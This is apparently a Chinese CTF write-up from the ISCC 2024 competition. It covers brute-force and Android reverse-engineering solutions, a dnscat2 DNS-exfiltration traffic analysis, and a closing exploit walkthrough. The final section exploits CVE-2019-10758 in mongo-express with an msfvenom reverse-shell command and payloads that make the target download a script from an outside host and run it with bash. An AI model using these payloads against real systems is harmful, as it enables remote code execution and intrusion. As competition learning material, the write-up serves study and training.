因此可以对每个字符进行爆破,一共27个字符,python代码如下:

enc = "FSBBhKigNOfHaoCaaSeEFPKEsj6"

vv26 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
vv17 = 'abcdefghijklmnopqrstuvwxyz'
vv8 = '0123456789+/-=!#&*()?;:*^%'
vv4 = 'DABBZXQESVFRWNGTHYJUMKIOLPC'

flag = ''
for i in range(27):
    for c in range(32,127):
        v4i = ord(vv4[i])
        v35 = c - v4i
        cc = ''
        if v35 > 0:
            if v35 > 25:
                if v35 > 51:
                    cc = vv8[v35-52]
                else:
                    cc = vv17[v35-26]
            else:
                cc = vv26[v35]

            if cc == enc[i]:
                flag += chr(c)
                break

print(flag)

得到flag:ISCC{bse`deYqvInbkhYRZSSxs}

MOBILE

Puzzle_Game

使用jadx反编译,得到java层代码。

阅读代码,大概逻辑是将输入的字符串经过com.example.whathappened.a.a()方法的验证,如果通过则显示” OH YES, ONE STEP AWAY FROM SUCCESS!“。

在com.example.whathappened.a.a()方法中,前8位的判断方法已经写出,由于条件很多并且位数不高,可以爆破跑出前8位。

在验证逻辑中可以看出,后15位的内容等于com.example.whathappened.MyJNI.Myjni. getstr()方法的输出。这个方法是native方法,所以需要找本地lib库中的代码,可以看到是lib库名是whathappened,对应找到libwhathappened.so文件。

使用ida反编译libwhathappened.so文件,可以看到主体代码是一个getend()函数,可以自己将这个函数转为python代码运行得到后15位内容。

将前8位与后15位拼接,进行sha256计算,如果结果等于 437414687cecdd3526281d4bc6492f3931574036943597fddd40adfbe07a9afa 则说明爆破的前八位正确。

最后得到应该输入的字符串为 ISCC{04999999gwC9nOCNUhsHqZm} ,但这并不是flag。

在java层找其他函数看,发现在com.example.whathappened.Receiver中还有一些代码,将sha256计算结果为 437414687cecdd3526281d4bc6492f3931574036943597fddd40adfbe07a9afa 的字符串进行了一些加密。猜测经过这个加密后的才是真正的flag。

由于代码都有,并且generateSalt生成的盐值也是固定的,所以可以自己转为pthon代码运行得到结果。

其中计算盐值的java代码如下:

import java.util.Arrays;
import java.util.Random;
public class Main {
    private static byte[] generateSalt(int i) {
        byte[] bArr = new byte[i];
        new Random(3468L).nextBytes(bArr);
        return bArr;
    }
    public static void main(String[] args) {
        byte[] generateSalt = generateSalt(16);
        System.out.println(Arrays.toString(generateSalt));
    }
}

其余python代码如下:

import gmpy2
import hashlib
from ctypes import *
import base64

# native层,从libwhathappened.so中得到,enc1的后15位
def getend():
    aAbcdefghijklmn = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    aAbcdefghijklmn = [ord(i) for i in list(aAbcdefghijklmn)]  # Replace [...] with the actual content of aAbcdefghijklmn array

    result = [0] * 16
    result[15] = 0

    v1 = 0
    v2 = 0

    while v1 != 15:
        tmp1 = ((v2 + 5 * v1 + (-2078209981 * (v2 + 5 * v1 + 7)) >> 32) + 7)
        tmp2 = tmp1 >> 31
        tmp3 = tmp2 + ((v2 + 5 * v1 + (-2078209981 * (v2 + 5 * v1 + 7)) >> 32) + 7) >> 5
        v3 = v2 + 5 * v1 - 62 * tmp3 + 7
        v4 = aAbcdefghijklmn[v3 % len(aAbcdefghijklmn)]
        v5 = v2 + 10

        v6 = 100
        for _ in range(100):
            v3 = (v5 + v3) % 62
            v7 = v3 + v2 + v4
            v4 = aAbcdefghijklmn[v7 - 62 * (((v7 + (-2078209981 * v7 >> 32)) >> 31) + ((v7 + (-2078209981 * v7 >> 32)) >> 5))]
            v6 -= 1

        v8 = 100
        for _ in range(100):
            v3 = (v5 + v3) % 62
            v9 = v3 + v2 + v4
            v4 = aAbcdefghijklmn[v9 - 62 * (((v9 + (-2078209981 * v9 >> 32)) >> 31) + ((v9 + (-2078209981 * v9 >> 32)) >> 5))]
            v8 -= 1

        v10 = 100
        for _ in range(100):
            v3 = (v5 + v3) % 62
            v11 = v3 + v2 + v4
            v4 = aAbcdefghijklmn[v11 - 62 * (((v11 + (-2078209981 * v11 >> 32)) >> 31) + ((v11 + (-2078209981 * v11 >> 32)) >> 5))]
            v10 -= 1

        result[v1] = v4
        v2 -= 1
        if v2 < 1:
            v2 = 15
        v1 += 1

        print(bytes(result))

    return result

# java层,从com.example.whathappened.a中得到,可以爆破enc1的前8位
def d(i):
    return gmpy2.is_prime(i)

def get1(i):
    return str(i)[0] == '4'

def b(str):
    if len(str) == 8:
        parseInt = int(str)
        if get1(parseInt) and d(parseInt):
            i = parseInt + 11
            if not get1(i):
                if not d(i):
                    return True
    return False

# java层,从com.example.whathappened.Receiver中得到,将enc1加密为flag
def getflag(enc1):
    g=lambda x:[c_uint8(i).value for i in x] # 将int转为uint
    b=lambda x:base64.b64encode(bytes(x)).decode() # 转为bytes然后base64编码

    enc1 = list(enc1)
    salt = g([56, 88, 36, -37, -15, -20, 48, 67, 51, -86, 122, -114, -76, 78, 63, 71])

    # encrypt
    for i in range(len(enc1)):
        enc1[i] ^= salt[i%len(salt)]
    enc2 = list(b(salt+enc1).encode())

    # encrypt2
    for i in range(len(enc2)):
        enc2[i] = (enc2[i] + 127) % 256

    for i in range(len(enc2)):
        if i % 2 == 0:
            enc2[i] ^= 123
        else:
            enc2[i] ^= 234

    return 'ISCC{' + b(enc2)[:32] + '}'

if __name__ == "__main__":
    str3 = bytes(getend())[:-1]

    print(str3)

    for j in range(0,99999999):
        if str(j)[0] != '4':
            continue
        substring = str(j).zfill(8)
        if b(substring):
            print(substring)
            if hashlib.sha256(substring.encode() + str3).hexdigest() == "437414687cecdd3526281d4bc6492f3931574036943597fddd40adfbe07a9afa":
                enc1 = substring.encode() + str3 # enc1
                print(enc1)
                break
    
print(getflag(enc1))

得到flag:ISCC{tS+dAMpEvBi3LrcTiweLJIguyESqHJwY}

ChallengeMobile

Jadx反编译

阅读代码,大概是使用加密的dex文件ming中的方法isflag()判断输入的flag是否正确,这里a()是一个本地方法,用于解密dex文件数据。

使用android stuidio新建一个apk,项目名就命名为challengemobile,加入题目的libs和assets数据。

注意要在build.gradle中指定本地库的目录,添加如下代码:

android {
	//..
    sourceSets {
        main {
            jniLibs.srcDirs = ['src/main/libs'] // 指定本地库的目录
        }
	//..
    }

写一个MainActivity,主要功能是从ming文件中读取数据,然后调用本地方法a()进行处理,然后将处理后的数据写入ming.dex文件中,代码如下。

package com.example.challengemobile;

import android.os.Bundle;

import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.graphics.Insets;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;

public class MainActivity extends AppCompatActivity {
    static {
        System.loadLibrary("challengemobile"); // 加载本地库
    }

    public native byte[] a(byte[] bArr); // 声明本地方法


    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);

        // 从文件中读取数据
        byte[] data = LoadData("ming");

        // 调用本地方法处理数据
        byte[] processedData = a(data);

        // 将处理后的数据写入到 ming.dex 文件中
        boolean success = writeToFileInInternalStorage(processedData, "ming.dex", getFilesDir());
        if (success) {
            // 写入成功
            System.out.println("File written to internal storage: " + new File(getFilesDir(), "ming.dex").getAbsolutePath());
        } else {
            // 写入失败
            System.out.println("Failed to write file to internal storage.");
        }

        String key = Checker.getKey();
        System.out.println("key is " + key);
    }

    public byte[] LoadData(String str) {
        byte[] bArr = null;
        try {
            InputStream open = getAssets().open(str);
            bArr = new byte[open.available()];
            open.read(bArr);
            open.close();
            return bArr;
        } catch (IOException unused) {
            return bArr;
        }
    }

    public boolean writeToFileInInternalStorage(byte[] data, String fileName, File directory) {
        try {
            // 创建文件
            File file = new File(directory, fileName);
            FileOutputStream fos = new FileOutputStream(file);
            fos.write(data);
            fos.close();
            return true; // 写入成功
        } catch (IOException e) {
            e.printStackTrace();
            return false; // 写入失败
        }
    }
}

在logcat中查看输出内容,过滤System.out,看到ming.dex的内部存储地址。

保存的ming.dex在app的内部存储,在右边device explorer中找对应文件。

将ming.dex拿去jadx反编译,可以看到在isflag()方法中,flag的加密结果是 FuvxvOzAUjqN0y+IvDLsdzLBoIduS68ydNw/eRAxgpuDWrXI

加密函数是encryptToBase64String,密钥通过getKey()方法得到,getKey()方法也是本地函数。

所以在之前编写的apk中调用getKey(),得到密钥。先创建一个Checker类,内容为:

package com.example.challengemobile;

public class Checker {
    static {
        System.loadLibrary("example"); // 加载本地库
    }

    public static native String getKey();
}

然后在MainActivity.onCreate()方法的最后添加上调用的代码,前文的代码中已经添加。

执行可以得到密钥:6M51I386n109gD2~

Isflag()方法中对flag加密主要使用以下函数:

将内容拿去GPT问一下,得知是xxtea算法,网上有在线解密:https://www.tools4noobs.com/online_tools/xxtea_decrypt/

然后解密得到flag:ISCC{K51sCc^s-*)c?=9MingCw?|8g0.s{elC}

擂台赛

misc

数据泄露

Wireshark打开,看一下DNS流量特征,有很多MX、CNAME、TXT类型的DNS请求,并且很多DNS请求的域名前有大量数据。符合dnscat2的流量特征。

Dnscat2隐藏的流量就是域名前附加的数据,并且没有加密,所以可以恢复出通信内容。

使用wireshark过滤规则 ip.dst eq 192.168.157.145 ,找出所有发向攻击机的数据包,并且导出分组解析结果为纯文本txt。

使用python代码处理txt,用正则表达式取出所有域名前的数据,并且转为字符串。

import re
import binascii

# 定义正则表达式模式
pattern = r'Name:\s(.*?)\.microsofto365\.com'

# 打开原始文件和新文件
with open('3.txt', 'r', encoding='utf-8') as f, open('extracted.txt', 'w', encoding='utf-8') as f_out:
    # 读取原始文件的内容
    content = f.read()
    
    # 使用正则表达式查找匹配的子串
    matches = re.findall(pattern, content)
    
    # 将匹配的子串写入新文件
    for match in matches:
        hex_string = match.replace('.','')
        bts = binascii.a2b_hex(hex_string)
        if len(bts) > 30:
            print(bts)
            f_out.write(str(bts) + '\n')

然后自己调整一下格式,如删除十六进制数据,替换换行符等,恢复出完整的通信内容。

其中看到将dnscat2-v0.07-client-win32.exe 重命名为win_installer.exe。

尝试这两个文件名的md5,得到flag。

ISCC{f9fe52314493773061548e2a49943254}

实战题

阶段一

mongo-express远程代码执行(CVE-2019-10758)漏洞

先用dnslog测试漏洞是否存在。

漏洞验证成功,然后用msf生成一个反弹shell,执行:

msfvenom -p cmd/unix/reverse_python LHOST=139.9.3.42 LPORT=55666 -f raw > resupersll.py

上传到服务器上,通过漏洞使靶机下载该文件。

Payload为:

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("wget http://139.9.3.42:55667/resupersll.py -O /tmp/shell")

可以看到靶机已经下载成功,然后在服务器开启监听,使用漏洞执行该文件

Payload为:

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash /tmp/shell")

接收到反弹shell,在/tmp目录下创建有自己用户名的文件:Success_GX-Lnjoy

posted @ 2024-09-12 03:34  lnjoy  阅读(97)  评论(0编辑  收藏  举报